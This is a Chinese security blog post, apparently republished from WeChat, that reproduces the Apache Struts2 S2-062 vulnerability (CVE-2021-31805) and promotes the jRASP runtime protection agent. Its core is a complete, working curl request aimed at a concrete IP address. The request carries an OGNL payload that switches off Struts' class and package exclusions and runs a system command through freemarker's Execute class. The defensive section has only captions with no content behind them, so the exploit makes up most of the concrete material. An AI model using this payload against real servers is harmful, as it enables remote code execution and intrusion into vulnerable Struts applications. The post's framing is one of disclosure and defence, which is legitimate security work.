RASP | Struts2-062-RCE 复现(CVE-2021-31805)
2022-4-17 19:49:13 Author: mp.weixin.qq.com(查看原文) 阅读量:7 收藏

由于对CVE-2020-17530(S2-061)的修复不完善。导致一些标签的属性仍然可以执行OGNL表达式,最终可导致远程执行任意代码。

Apache Struts 2是一个用于开发Java EE网络应用程序的开放源代码网页应用程序架构。它利用并延伸了Java Servlet API,鼓励开发者采用MVC架构。

影响版本

Apache Struts2 2.0.0 ~ 2.5.29( commit dc5128b) 之前

漏洞复现

环境准备

发送攻击请求

curl --location --request POST 'http://111.229.199.6:8080/SimpleStruts/S2061.action' \--form 'id=%{(#instancemanager=#application["org.apache.tomcat.InstanceManager"]).(#stack=#attr["com.opensymphony.xwork2.util.ValueStack.ValueStack"]).(#bean=#instancemanager.newInstance("org.apache.commons.collections.BeanMap")).(#bean.setBean(#stack)).(#context=#bean.get("context")).(#bean.setBean(#context)).(#macc=#bean.get("memberAccess")).(#bean.setBean(#macc)).(#emptyset=#instancemanager.newInstance("java.util.HashSet")).(#bean.put("excludedClasses",#emptyset)).(#bean.put("excludedPackageNames",#emptyset)).(#arglist=#instancemanager.newInstance("java.util.ArrayList")).(#arglist.add("whoami")).(#execute=#instancemanager.newInstance("freemarker.template.utility.Execute")).(#execute.exec(#arglist))}'

RASP防护

请求被阻断:

查看攻击详情

攻击详情:

调用栈:

请求附带信息:

官网:http://www.jrasp.com

github:https://github.com/jvm-rasp/jrasp-agent

加入技术交流群请添加微信:sear2022


文章来源: https://mp.weixin.qq.com/s?__biz=Mzg5MjQ1OTkwMg==&mid=2247484167&idx=1&sn=53c69fc397e9e9ce5179e97915de6905&chksm=c03c8d16f74b0400b01f44ae81756d4a640e46804d147beb858752fcbd06ff54eb696db035ac&scene=58&subscene=0#rd
如有侵权请联系:admin#unsafe.sh